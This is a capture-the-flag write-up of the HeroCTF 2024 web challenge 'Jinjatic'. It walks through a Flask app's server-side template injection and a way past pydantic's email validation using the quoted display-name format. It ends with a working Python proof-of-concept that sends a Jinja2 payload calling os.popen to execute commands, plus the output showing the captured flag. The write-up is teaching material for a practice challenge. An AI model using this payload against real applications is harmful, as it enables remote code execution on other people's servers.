Skip to main content
  1. Writeups/

HeroCTF 2024: Jinjatic

601 words·3 mins·
HEROCTF WEB EZ
Fayred
Author
Fayred
I’m French, and I’m passionate about computers in general, and computer security in particular. A CTF enthusiast and a Bug Bounty novice, I’m primarily interested in learning, having fun, and sharing what I’ve learned.
Table of Contents

Statement
#

A platform that allows users to render welcome email’s template for a given customer, sounds great no ?

Deploy on deploy.heroctf.fr

Format: Hero{flag}

Author: Worty

Overview
#

For this web challenge, here are the provided source files:

.
├── challenge.yml
├── dist
│   └── jinjatic.tar.xz
├── docker-compose.yml
├── Makefile
├── README.md
└── src
    ├── challenge
    │   ├── app.py
    │   ├── requirements.txt
    │   └── templates
    │       ├── home.html
    │       ├── mail.html
    │       └── result.html
    ├── Dockerfile
    ├── flag.txt
    └── getflag.c

5 directories, 13 files

The website is simple, with few elements. There is only a form at /main that takes an email address and reflects it on the page. A backend check ensures that the submitted value matches the format of an email address.

To retrieve the flag, we need to achieve RCE to execute the getflag binary.

Solution
#

To solve this challenge, we need to bypass the email format validation. Then, we exploit an SSTI to achieve RCE.

Server-Side Template Injection
#

To begin, if we examine the application code, we quickly notice that an SSTI is possible:

email_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform!</h1>
            <p>Your email to connect is: <strong>%s</strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''

...

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template % (email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

The value of the email variable is placed in email_template and then rendered. It is therefore possible to send, for example, {{ 7*7 }}@mail.com, and the rendered output will display [email protected]. However, since the email variable passes through the EmailModel() class, an error occurs when we start using quotes or parentheses.

Analysis and Bypass of the EmailModel Class
#

To avoid triggering the error and to use parentheses and quotes for executing an RCE payload via SSTI, we need to locate where the email format check is performed in the EmailModel class or rather in EmailStr.

If we follow the code, we reach the EmailStr class, then _validate(), and finally validate_email(). In this function, we find the following lines:

m = pretty_email_regex.fullmatch(value)  # value = email
name: str | None = None
if m:
    unquoted_name, quoted_name, value = m.groups()
    name = unquoted_name or quoted_name

    email = value.strip()

try:
    parts = email_validator.validate_email(email, check_deliverability=False)
except email_validator.EmailNotValidError as e:
    raise PydanticCustomError(
        'value_error', 'value is not a valid email address: {reason}', {'reason': str(e.args[0])}
    ) from e

We understand that to avoid triggering an error when using quotes or parentheses, we need to match the quoted_name group. The regex to match is located in pretty_email_regex:

def _build_pretty_email_regex() -> re.Pattern[str]:
    name_chars = r'[\w!#$%&\'*+\-/=?^_`{|}~]'
    unquoted_name_group = rf'((?:{name_chars}+\s+)*{name_chars}+)'
    quoted_name_group = r'"((?:[^"]|\")+)"'
    email_group = r'<\s*(.+)\s*>'
    return re.compile(rf'\s*(?:{unquoted_name_group}|{quoted_name_group})?\s*{email_group}\s*')


pretty_email_regex = _build_pretty_email_regex()

When matching quoted_name_group, we also need to match email_group. The correct format to use is: "(SSTI)" <[email protected]>.

Exploitation
#

Now that we can use parentheses and quotes, we just need to craft an SSTI payload for RCE, such as those found on Hacktricks.

PoC:

import requests
url = 'http://dyn03.heroctf.fr:14993/render'
payload = """{{cycler.__init__.__globals__.os.popen('../getflag').read()}}"""
r = requests.post(url, data={'email': f'"({payload})" <[email protected]>'})
print(r.text)

Result:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform!</h1>
            <p>Your email to connect is: <strong>"HERO{f815460cee723a7d1ba1f0a70f68482c}" <[email protected]></strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Flag: HERO{f815460cee723a7d1ba1f0a70f68482c}

Reference
#

Related

L4ugh CTF 2024: Micro
417 words·2 mins
L4UGH CTF WEB EZ
YesWeHack: Dojo 36
777 words·4 mins
YESWEHACK WEB
Patriot CTF 2024: Secret Door
803 words·4 mins
PATRIOT CTF WEB MEDIUM
Patriot CTF 2024: DogDay
699 words·4 mins
PATRIOT CTF WEB CRYPTO MEDIUM
RSA for Dummies (like me)
538 words·3 mins
CRYPTO NOOB